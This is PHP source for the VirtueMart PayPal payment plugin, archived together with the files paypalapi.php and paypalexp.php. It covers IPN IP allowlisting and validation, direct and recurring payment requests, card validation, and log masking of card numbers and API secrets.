			$paypal_iplist_reports = array('66.211.168.93', '173.0.84.161', '173.0.84.198', '173.0.88.161', '173.0.88.198');
			//'------------www.paypal.com------------'
			//'Starting September 12, 2012 www.paypal.com will start resolving to a dynamic list of IP addresses and as such should not be whitelisted.'
			//'For more information on IPNs please go here.'
			//'------------ipnpb.paypal.com------------'
			$paypal_iplist_ipnb = array('64.4.240.0', '64.4.240.1', '64.4.240.2', '64.4.240.3', '64.4.240.4', '64.4.240.5', '64.4.240.6', '64.4.240.7', '64.4.240.8', '64.4.240.9', '64.4.240.10', '64.4.240.11', '64.4.240.12', '64.4.240.13', '64.4.240.14', '64.4.240.15', '64.4.240.16', '64.4.240.17', '64.4.240.18', '64.4.240.19', '64.4.240.20',
				'118.214.15.186', '118.215.103.186', '118.215.119.186', '118.215.127.186', '118.215.15.186', '118.215.151.186', '118.215.159.186', '118.215.167.186', '118.215.199.186', '118.215.207.186', '118.215.215.186', '118.215.231.186', '118.215.255.186', '118.215.39.186', '118.215.63.186', '118.215.7.186', '118.215.79.186', '118.215.87.186', '118.215.95.186',
				'202.43.63.186',
				'69.192.31.186',
				'72.247.111.186',
				'88.221.43.186',
				'92.122.143.186', '92.123.151.186', '92.123.159.186', '92.123.163.186', '92.123.167.186', '92.123.179.186', '92.123.183.186');
			// JH

			$paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3,
				// Added JH 2013-10-12
				$paypal_iplist_api,
				$paypal_iplist_api_aa,
				$paypal_iplist_api_3t_aa,
				$paypal_iplist_api_aa_3t,
				$paypal_iplist_notify,
				$paypal_iplist_ipnb
			// JH
			);

			$paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3);
			$this->debugLog($paypal_iplist, 'checkPaypalIps PRODUCTION', 'debug', false);

		}
		$this->debugLog($_SERVER['REMOTE_ADDR'], 'checkPaypalIps REMOTE ADDRESS', 'debug', false);

		//  test if the remote IP connected here is a valid IP address
		if (!in_array($_SERVER['REMOTE_ADDR'], $paypal_iplist)) {

			$text = "Error with REMOTE IP ADDRESS = " . $_SERVER['REMOTE_ADDR'] . ".
                        The remote address of the script posting to this notify script does not match a valid PayPal IP address\n
            These are the valid IP Addresses: " . implode(",", $paypal_iplist) .
				"The Order ID received was: " . $order_number;
			$this->debugLog($text, 'checkPaypalIps', 'error', false);
			return false;
		}

		return true;
	}

	protected function validateIpnContent($paypal_data) {
		$test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0;
		if ($test_ipn == 1) {
			//return true;
		}

		// Paypal wants to open the socket in SSL
		$port = 443;
		$paypal_url = $this->_getPaypalURL('ssl://', false);
		$paypal_url_header = $this->_getPaypalURL('', false);
		$protocol = 'ssl://';
		/*
		 * Before we can trust the contents of the message, we must first verify that the message came from PayPal.
		 * To verify the message, we must send back the contents in the exact order they
		*  were received and precede it with the command _notify-validate,
		 */

// read the post from PayPal system and add 'cmd'
		$post_msg = 'cmd=_notify-validate';
		if(function_exists('get_magic_quotes_gpc')) {
			$get_magic_quotes_exists = true;
		}
		foreach ($paypal_data as $key => $value) {
			if($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) {
				$value = str_replace('\r\n', "QQLINEBREAKQQ", $value);
				$value = urlencode(stripslashes($value));
				$value = str_replace("QQLINEBREAKQQ", "\r\n", $value);
			} else {
				$value = urlencode($value);
			}
			$post_msg .= "&$key=$value";
		}


		$header="POST /cgi-bin/webscr HTTP/1.1\r\n";
		$header .= "User-Agent: PHP/" . phpversion () . "\r\n";
		$header .= "Referer: " . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . @$_SERVER['QUERY_STRING'] . "\r\n";
		$header .= "Server: " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
		$header .= "Host: "  . $paypal_url_header . ":" . $port . "\r\n";
		$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$header .= "Content-Length: " . strlen ($post_msg) . "\r\n";
		//$header .= "Accept: */*\r\n\r\n";
		$header .="Connection: close\r\n\r\n";

		$fps = fsockopen($paypal_url, $port, $errno, $errstr, 30);
		$valid_ipn = false;
		if (!$fps) {
			$this->debugLog(JText::sprintf('VMPAYMENT_PAYPAL_ERROR_POSTING_IPN', $errstr, $errno), 'validateIpnContent', 'error' , false);
		} else {
			$return = fputs($fps, $header . $post_msg);
			if ($return===false) {
				$this->debugLog("FALSE", 'validateIpnContent FPUTS', 'error', false);
				return FALSE;
			}
			$res = '';
			while (!feof($fps)) {
				$res .= fgets($fps, 1024);
			}
			fclose($fps);

			// Inspect IPN validation result and act accordingly
			$valid_ipn = strstr($res, "VERIFIED");
			if (!$valid_ipn) {
				if (strstr($res, "INVALID")) {
					$errorInfo=array("paypal_data" =>$paypal_data, 'post_msg'=> $post_msg, 'paypal_res' =>$res);
					$this->debugLog($errorInfo, JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION'), 'error', false);
				} else {
					$this->debugLog(JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION') . ": NO ANSWER FROM PAYPAL", 'validateIpnContent', 'error', false);
				}
			}
		}

		$this->debugLog('valid_ipn: ' . $valid_ipn, 'validateIpnContent', 'debug', false);
		return $valid_ipn;
	}

	protected function _check_txn_id_already_processed($payments, $txn_id) {

		if ($this->order['details']['BT']->order_status == $this->_method->status_success) {
			foreach ($payments as $payment) {
				$paypal_data = json_decode($payment->paypal_fullresponse);
				if ($paypal_data->txn_id == $txn_id) {
					return true;
				}
			}
		}
		return false;
	}

	protected function _check_email_amount_currency($payments, $paypal_data) {

		/*
		 * TODO Not checking yet because config do not have primary email address
		* Primary email address of the payment recipient (that is, the merchant).
		* If the payment is sent to a non-primary email address on your PayPal account,
		* the receiver_email is still your primary email.
		*/

        if ($this->_method->paypalproduct =="std") {
            if (strcasecmp($paypal_data['receiver_email'],$this->merchant_email)!=0 ) {
	            $errorInfo=array("paypal_data" =>$paypal_data, 'merchant_email' =>$this->merchant_email);
                $this->debugLog($errorInfo, 'IPN notification: wrong merchant_email', 'error', false);
                return false;
            }
        }


		if (($payments[0]->payment_order_total == $paypal_data['mc_gross']) and ($this->currency_code_3 == $paypal_data['mc_currency'])) {
			return TRUE;
		}
		$errorInfo=array("paypal_data" =>$paypal_data, 'payment_order_total' =>$payments[0]->payment_order_total, 'currency_code_3'=>$this->currency_code_3);
		$this->debugLog($errorInfo, 'IPN notification with invalid amount or currency or email', 'error', false);

		return FALSE;
	}

	static function getPaypalCreditCards() {
		return array(
			'Visa',
			'Mastercard',
			'Amex',
			'Discover',
			'Maestro',
		);

	}

	function  _is_full_refund($payment, $paypal_data) {
		if (($payment->payment_order_total == (-1 * $paypal_data['mc_gross']))) {
			return TRUE;
		} else {
			return FALSE;
		}
	}
	function handleResponse() {
		if ($this->response) {
			if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') {

				$error = '';
				$public_error = '';

				for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
					$error .= $this->response["L_ERRORCODE" . $i];
					$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
					$error .= ": " . $message . "<br />";
				}
				if ($this->_method->debug) {
					$public_error = $error;
				}
				$this->debugLog($this->response, 'handleResponse:', 'debug');
				VmError($error, $public_error);

				return false;
			} elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) {
				return true;
			} else {
				// Unexpected ACK type. Log response and inform the buyer that the
				// transaction must be manually investigated.
				$error = '';
				$public_error = '';
				$error="Unexpected ACK type:". $this->response['ACK'];
				$this->debugLog($this->response, 'Unexpected ACK type:', 'debug');
				if ($this->_method->debug) {
					$public_error = $error;
				}
				VmError($error, $public_error);
				return false;
			}

		}
	}

	function onShowOrderBEPayment($data) {

		$showOrderBEFields = $this->getOrderBEFields();
		$prefix = 'PAYPAL_RESPONSE_';

		$html = '';
		if ($data->ACK == 'SuccessWithWarning' &&
			$data->L_ERRORCODE0 == self::FMF_PENDED_ERROR_CODE &&
			$data->PAYMENTSTATUS == "Pending"
		) {
			$showOrderField = 'L_SHORTMESSAGE0';
			$html .= $this->paypalPlugin->getHtmlRowBE($prefix . $showOrderField, $this->highlight($data->$showOrderField));
		}
		if (($data->ACK == 'Failure' OR $data->ACK == 'FailureWithWarning')) {
			$showOrderField = 'L_SHORTMESSAGE0';
			$html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField));
			$showOrderField = 'L_LONGMESSAGE0';
			$html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField));
		}


		foreach ($showOrderBEFields as $key => $showOrderBEField) {
			if (($showOrderBEField == 'PAYMENTINFO_0_REASONCODE' and $data->$showOrderBEField != 'None') OR
				($showOrderBEField == 'PAYMENTINFO_0_ERRORCODE' and $data->$showOrderBEField != 0)  OR
				($showOrderBEField != 'PAYMENTINFO_0_REASONCODE'  and $showOrderBEField != 'PAYMENTINFO_0_ERRORCODE')
			) {
				if (isset($data->$showOrderBEField)) {
					$key = $prefix . $key;
					$html .= $this->paypalPlugin->getHtmlRowBE($key, $data->$showOrderBEField);
				}
			}

		}

		return $html;
	}
	function onShowOrderBEPaymentByFields($payment) {
		return NULL;
	}
	/*********************/
	/* Log and Reporting */
	/*********************/
	public function debug($subject, $title = '', $echo = true) {

		$debug = '<div style="display:block; margin-bottom:5px; border:1px solid red; padding:5px; text-align:left; font-size:10px;white-space:nowrap; overflow:scroll;">';
		$debug .= ($title) ? '<br /><strong>' . $title . ':</strong><br />' : '';
		//$debug .= '<pre>';
		$debug .= str_replace("=>", "&#8658;", str_replace("Array", "<font color=\"red\"><b>Array</b></font>", nl2br(str_replace(" ", " &nbsp; ", print_r($subject, true)))));
		//$debug .= '</pre>';
		$debug .= '</div>';
		if ($echo) {
			echo $debug;
		} else {
			return $debug;
		}
	}

	function highlight($string) {
		return '<span style="color:red;font-weight:bold">' . $string . '</span>';
	}

	public function debugLog($message, $title = '', $type = 'message', $echo = false, $doVmDebug=false) {

		//Nerver log the full credit card number nor the CVV code.
		if (is_array($message)) {
			if (array_key_exists('ACCT', $message)) {
				$message['ACCT'] = "**** **** **** " . substr($message['ACCT'], -4);
			}
			if (array_key_exists('CVV2', $message)) {
				$message['CVV2'] = str_repeat('*', strlen($message['CVV2']));
			}
			if (array_key_exists('signature', $message)) {
				$message['signature'] = '**MASKED**';
			}
			if (array_key_exists('api_password', $message)) {
				$message['api_password'] = '**MASKED**';
			}
		}

		if ($this->_method->debug) {
			$this->debug($message, $title, true);
		}

		if ($echo) {
			echo $message . '<br/>';
		}


		$this->paypalPlugin->debugLog($message, $title, $type, $doVmDebug);
	}


}
������������������������������������������������������������������paypalapi.php���������������������������������������������������������������������������������������0000666�����������������00000042302�15137407016�0007246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * Paypal payment plugin
 *
 * @author Jeremy Magne
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


defined( '_JEXEC' ) or die( 'Restricted access' );

//PayPal error codes:
//https://developer.paypal.com/webapps/developer/docs/classic/api/errorcodes/
//API Reference
//https://developer.paypal.com/webapps/developer/docs/classic/api/

class PaypalHelperPayPalApi extends PaypalHelperPaypal {
	
	var $api_login_id = '';
	var $api_signature = '';
	var $api_password = '';
	
	function __construct($method,$paypalPlugin) {
		parent::__construct($method,$paypalPlugin);

		//Set the credentials
		if ($this->_method->sandbox ) {
			$this->api_login_id = $this->_method->sandbox_api_login_id;
			$this->api_signature = $this->_method->sandbox_api_signature;
			$this->api_password = $this->_method->sandbox_api_password;
		} else {
			$this->api_login_id = $this->_method->api_login_id;
			$this->api_signature = $this->_method->api_signature;
			$this->api_password = $this->_method->api_password;
		}

		if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) {
            $text=JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
            vmError($text,$text);
		}
	}

	function initPostVariables($paypalMethod) {
		$post_variables = Array();
		$post_variables['METHOD'] 		= $paypalMethod;
		//$post_variables['version']	 	= "106.0"; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
		$post_variables['version'] = "104.0";
		$post_variables['USER']			= $this->api_login_id;
		$post_variables['PWD'] 			= $this->api_password;
		$post_variables['SIGNATURE'] 	= $this->api_signature;
		$post_variables['BUTTONSOURCE'] = self::BNCODE;;
		$post_variables['CURRENCYCODE']	= $this->currency_code_3;

		if (is_array($this->order) && is_object($this->order['details']['BT'])) {
			$post_variables['INVNUM']	= $this->order['details']['BT']->order_number;
		} else if (is_object($this->order)) {
			$post_variables['INVNUM']	= $this->order->order_number;
		}
		$post_variables['IPADDRESS']	= ($_SERVER['REMOTE_ADDR']=='::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR'];

		return $post_variables;
	}
	
	function addBillTo(&$post_variables) {

		$addressBT = $this->order['details']['BT'];

		//Bill To
		$post_variables['FIRSTNAME']	=  isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['LASTNAME']		=  isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : '';
		$post_variables['STREET']		=  isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
		$post_variables['CITY']			=  isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
		$post_variables['ZIP']			=  isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
		$post_variables['STATE']		=  isset($addressBT->virtuemart_state_id) ?  ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : '';
		$post_variables['COUNTRYCODE']	=  ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
	}
	
	function addShipTo(&$post_variables) {

		$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);

		//Ship To
		$post_variables['SHIPTONAME']	= isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : '';
		$post_variables['SHIPTOSTREET']	= isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : '';
		$post_variables['SHIPTOCITY']	= isset($addressST->city) ? $this->truncate($addressST->city, 40) : '';
		$post_variables['SHIPTOZIP']	= isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : '';
		$post_variables['SHIPTOSTATE']	= isset($addressST->virtuemart_state_id) ?  ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code')  : '';
		$post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code');
	}
	
	function addCreditCard(&$post_variables) {

		$post_variables['ACCT']			= $this->customerData->getVar('cc_number');
		$post_variables['CVV2']			= $this->customerData->getVar('cc_cvv');
		$post_variables['CREDITCARDTYPE']	= $this->customerData->getVar('cc_type');
		$post_variables['EXPDATE']		= $this->_getFormattedDate($this->customerData->getVar('cc_expire_month'), $this->customerData->getVar('cc_expire_year'));
	}
	
	public function ManageCheckout() {
		switch ($this->_method->payment_type) {
			case '_xclick':
				return $this->DoPayment();
			case '_xclick-subscriptions':
				return $this->CreateRecurringPaymentsProfile();
			case '_xclick-payment-plan':
				return $this->CreatePaymentPlanProfile();
		}
	}

	public function ManageCancelOrder($payment) {
		$this->RefundTransaction($payment);
		/*
		switch ($this->_method->payment_type) {
			case '_xclick':
				return $this->RefundTransaction($payment);
			case '_xclick-subscriptions':
			case '_xclick-payment-plan':
				return $this->ManageRecurringPaymentsProfileStatus($payment);
		}
		*/
	}
	
	function DoPayment() {

		$post_variables = $this->initPostVariables('DoDirectPayment');
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addCreditCard($post_variables);

		$post_variables['PAYMENTACTION'] 	= $this->_method->payment_action;
		$post_variables['AMT']				= $this->total;

		$this->sendRequest($post_variables);
		if ($this->handleResponse()) {
			if ($this->_method->payment_action == 'Authorization') {
				$this->response['PAYMENTSTATUS'] = 'Pending';
				$this->response['PENDINGREASON'] = 'authorization';
			} else {
				$this->response['PAYMENTSTATUS'] = 'Completed';
				$this->response['PENDINGREASON'] = 'None';
			}
			$this->response['paypal_response_txn_type'] = 'DoDirectPayment';
			return true;
		} else {
			return false;
		}
	}

	public function CreateRecurringPaymentsProfile() {
		//https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/
		//https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/

		$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addCreditCard($post_variables);
		
		//$post_variables['SUBSCRIBERNAME']	= isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['PROFILEREFERENCE']		= $this->order['details']['BT']->order_number;
		$post_variables['DESC']					= $this->getRecurringProfileDesc();
		
		$startDate = JFactory::getDate();
		$post_variables['PROFILESTARTDATE']		= $startDate->toISO8601();
		$post_variables['AUTOBILLOUTAMT']		= 'AddToNextBilling';
		

		$post_variables['BILLINGFREQUENCY']		= $this->getDurationValue($this->_method->subscription_duration);
		$post_variables['BILLINGPERIOD']		= $this->getDurationUnit($this->_method->subscription_duration);
		$post_variables['TOTALBILLINGCYCLES']	= $this->_method->subscription_term;


		if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
			$post_variables['INITAMT']				= $this->cart->pricesUnformatted['salesPricePayment'];
			$post_variables['FAILEDINITAMTACTION']	= 'CancelOnFailure';
			$post_variables['AMT']					= $this->total - $this->cart->pricesUnformatted['salesPricePayment'];
		} else {
			$post_variables['AMT']					= $this->total;
		}

		if ($this->_method->subcription_trials) {
			$post_variables['TRIALBILLINGFREQUENCY']= $this->getDurationValue($this->_method->trial1_duration);
			$post_variables['TRIALBILLINGPERIOD']	= $this->getDurationUnit($this->_method->trial1_duration);
			$post_variables['TRIALTOTALBILLINGCYCLES']= $this->_method->subcription_trials;
			$post_variables['TRIALAMT']				= ($this->_method->trial1_price) ? $this->_method->trial1_price : 0;
		}
		
		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	public function CreatePaymentPlanProfile() {
		//Payment plans are not implemented in the API. 
		//A workaround is to create a subscription profile and divide the total amount by the term.

		$post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile');
		$this->addBillTo($post_variables);
		$this->addShipTo($post_variables);
		$this->addCreditCard($post_variables);
		
		//$post_variables['SUBSCRIBERNAME']	= isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : '';
		$post_variables['PROFILEREFERENCE']		= $this->order['details']['BT']->order_number;
		$post_variables['DESC']					= $this->order['details']['BT']->order_number.': '.$this->getPaymentPlanDesc();
		
		
		if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
			$initAmount = $this->cart->pricesUnformatted['salesPricePayment'];
		} else {
			$initAmount = 0;
		}
		$occurenceAmount = round(($this->total-$initAmount) / $this->_method->payment_plan_term,2);
		if ($this->_method->payment_plan_defer == 2) {
			$initAmount += $occurenceAmount;
			$occurencesCount = $this->_method->payment_plan_term - 1;
		} else {
			$occurencesCount = $this->_method->payment_plan_term;
		}
		
		if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) {
			$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
		} else {
			$startDate = JFactory::getDate();
		}
		$post_variables['PROFILESTARTDATE']		= $startDate->toISO8601();
		$post_variables['AUTOBILLOUTAMT']		= 'AddToNextBilling';
		
		$post_variables['BILLINGFREQUENCY']		= $this->getDurationValue($this->_method->payment_plan_duration);
		$post_variables['BILLINGPERIOD']		= $this->getDurationUnit($this->_method->payment_plan_duration);
		$post_variables['TOTALBILLINGCYCLES']	= $occurenceAmount;

		if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) {
			$post_variables['INITAMT']				= $initAmount;
			$post_variables['FAILEDINITAMTACTION']	= 'CancelOnFailure';
		}
		$post_variables['AMT']					= $occurenceAmount;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}

	function GetRecurringPaymentsProfileDetails($profileId) {
		
		$post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails');
		$post_variables['PROFILEID']	= $profileId;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}
	
	function ManageRecurringPaymentsProfileStatus($payment) {
		
		$paypal_data = json_decode($payment->paypal_fullresponse);
		$post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus');
		$post_variables['PROFILEID']	= $paypal_data->PROFILEID;
		$post_variables['ACTION']		= 'Cancel';

		$this->sendRequest($post_variables);
		$this->handleResponse();
		
		return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID);
	}
	
	function DoCapture($payment) {
		
		$paypal_data = json_decode($payment->paypal_fullresponse);
		//Only capture payment if it still pending
		if (strcasecmp($paypal_data->PAYMENTSTATUS ,'Pending') !=0 && strcasecmp($paypal_data->PENDINGREASON, 'authorization') !=0) {
			return false;
		}
		
		$post_variables = $this->initPostVariables('DoCapture');
		
		//Do we need to reauthorize ?
		$reauth = $this->doReauthorize($paypal_data->txn_id,$paypal_data);
		if ($reauth === false) {
			$post_variables['AuthorizationID']	= $paypal_data->TRANSACTIONID;
		} else {
			$post_variables['AuthorizationID']	= $reauth;
		}

		$post_variables['PAYMENTACTION'] 	= 'DoCapture';
		$post_variables['AMT']	= $this->total;
		$post_variables['COMPLETETYPE']	= 'Complete';

		$this->sendRequest($post_variables);
		//print_a($post_variables);
		//print_a($this->response);
		$success = $this->handleResponse();
		if (!$success) {
			$this->doVoid($payment);
		}
		return $success;
	}
	
	function doReauthorize($AuthorizationID,$paypal_data) {
		return false;
		$post_variables = $this->initPostVariables('DoReauthorization');
		$post_variables['AuthorizationID']	= $AuthorizationID;
		$post_variables['PAYMENTACTION'] 	= 'DoReauthorization';
		$post_variables['AMT']	= $this->total;

		$this->sendRequest($post_variables);
		if ($this->handleResponse()) {
			return $this->response['AUTHORIZATIONID'];
		} else {
			return false;
		}
	}

	function RefundTransaction($payment) {
		
		$paypal_data = json_decode($payment->paypal_fullresponse);
		if ($paypal_data->PAYMENTSTATUS == 'Completed') {
			$post_variables = $this->initPostVariables('RefundTransaction');
			$post_variables['REFUNDTYPE'] 	= 'Full';
		} else if ($paypal_data->PAYMENTSTATUS == 'Pending' && $paypal_data->PENDINGREASON == 'authorization') {
			$post_variables = $this->initPostVariables('DoVoid');
		} else {
			return false;
		}
		
		$post_variables['AuthorizationID']	= $paypal_data->TRANSACTIONID;

		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}
	function doVoid($payment) {
		$paypal_data = json_decode($payment->paypal_fullresponse);
		$post_variables = $this->initPostVariables('DoVoid');
		$post_variables['AuthorizationID']	= $paypal_data->TRANSACTIONID;
		$this->sendRequest($post_variables);
		return $this->handleResponse();
	}



	function validate($enqueueMessage=true) {
		
		if (!class_exists('Creditcard')) {
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'creditcard.php');
		}
		$html = '';
		$cc_valid = true;
		$errormessages = array();
		
		$cc_type = $this->customerData->getVar('cc_type');
		$cc_number = $this->customerData->getVar('cc_number');
		$cc_cvv = $this->customerData->getVar('cc_cvv');
		$cc_expire_month = $this->customerData->getVar('cc_expire_month');
		$cc_expire_year = $this->customerData->getVar('cc_expire_year');

		if (!Creditcard::validate_credit_card_number($cc_type, $cc_number)) {
			$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_NUMBER_INVALID';
			$cc_valid = false;
		}
		if ($this->_method->cvv_required or $cc_type=='Maestro') {
			$required=true;
		} else {
			$required=false;
		}
		if (!Creditcard::validate_credit_card_cvv($cc_type, $cc_cvv, $required)) {
			$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_CVV_INVALID';
			$cc_valid = false;
		}
		if (!Creditcard::validate_credit_card_date($cc_type, $cc_expire_month, $cc_expire_year)) {
			$errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_DATE_INVALID';
			$cc_valid = false;
		}
		if (!$cc_valid) {
			foreach ($errormessages as $msg) {
				$html .= Jtext::_($msg) . "<br/>";
			}
		}
		if (!$cc_valid && $enqueueMessage) {
			$app = & JFactory::getApplication();
			$app->enqueueMessage($html,'error');
		}
		$displayInfoMsg="";
		if (!$cc_valid) {
			$displayInfoMsg=false;
			return false;
		} else {
			return parent::validate($displayInfoMsg);
		}
	}
	
	function displayExtraPluginInfo() {
		$extraInfo = '';
		//if ($this->customerData->getVar('cc_number') && $this->validate()) {
		if ($this->customerData->getVar('cc_number') ) {
			$cc_number = "**** **** **** " . substr($this->customerData->getVar('cc_number'), -4);
			$creditCardInfos = '<br /><span class="vmpayment_cardinfo">' . JText::_('VMPAYMENT_PAYPAL_CC_CCTYPE') . $this->customerData->getVar('cc_type') . '<br />';
			$creditCardInfos .=JText::_('VMPAYMENT_PAYPAL_CC_CCNUM') . $cc_number . '<br />';
			$creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_CVV2') . '****' . '<br />';
			$creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_EXDATE') . $this->customerData->getVar('cc_expire_month') . '/' . $this->customerData->getVar('cc_expire_year');
			$creditCardInfos .="</span>";
			$extraInfo .= $creditCardInfos;
		} else {
			$extraInfo .= '<br/><a href="'.JRoute::_('index.php?option=com_virtuemart&view=cart&task=editpayment&Itemid=' . JRequest::getInt('Itemid'), false).'">'.JText::_('VMPAYMENT_PAYPAL_CC_ENTER_INFO').'</a>';
		}
		$extraInfo .= parent::getExtraPluginInfo();
		return $extraInfo;
	}

	protected function getDurationUnit($duration) {
		$parts = explode('-',$duration);
		switch ($parts[1]) {
			case 'D': return 'Day';
			case 'W': return 'Week';
			case 'M': return 'Month';
			case 'Y': return 'Year';
		}
	}

	function getOrderBEFields() {
		$showOrderBEFields = array(
			'method' => 'method',
			'ACK' => 'ACK',
			'TXN_ID' => 'TRANSACTIONID',
			'PROFILEID' => 'PROFILEID',
			'MC_GROSS' => 'PAYMENTINFO_0_AMT',
			'MC_FEE' => 'PAYMENTINFO_0_FEEAMT',
			'TAXAMT' => 'PAYMENTINFO_0_TAXAMT',
			'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE',
			'PAYMENT_STATUS' => 'PAYMENTSTATUS',
			'REFUND_STATUS' => 'REFUNDSTATUS',
			'PENDING_REASON' => 'PENDINGREASON',
			'REASONCODE' => 'PAYMENTINFO_0_REASONCODE',
			'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE',
			'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY',
			'CORRELATIONID' => 'CORRELATIONID',


		);
		return $showOrderBEFields;
	}

}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypalexp.php���������������������������������������������������������������������������������������0000666�����������������00000110045�15137407016�0007271 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * Paypal payment plugin
 *
 * @author Jeremy Magne
 * @author Valérie Isaksen
 * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $
 * @package VirtueMart
 * @subpackage payment
 * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */


defined('_JEXEC') or die('Restricted access');

//PayPal error codes:
//https://developer.paypal.com/webapps/developer/docs/classic/api/errorcodes/
//API Reference
//https://developer.paypal.com/webapps/developer/docs/classic/api/
// http://www.paypalobjects.com/en_US/ebook/PP_ExpressCheckout_IntegrationGuide/HowExpressCheckoutWorks.html#1107932
// http://www.paypalobjects.com/en_US/ebook/PP_ExpressCheckout_IntegrationGuide/toc.html

class PaypalHelperPayPalExp extends PaypalHelperPaypal {

	var $api_login_id = '';
	var $api_signature = '';
	var $api_password = '';


	function __construct($method,$paypalPlugin) {
		parent::__construct($method,$paypalPlugin);
		//Set the credentials
		if ($this->_method->sandbox  ) {
			$this->api_login_id = $this->_method->sandbox_api_login_id;
			if ($this->_method->authentication == 'signature') {
				$this->api_signature = $this->_method->sandbox_api_signature;
				$this->api_certificate = '';
			} else {
				$this->api_signature = '';
				$this->api_certificate = $this->_method->sandbox_api_certificate;
			}
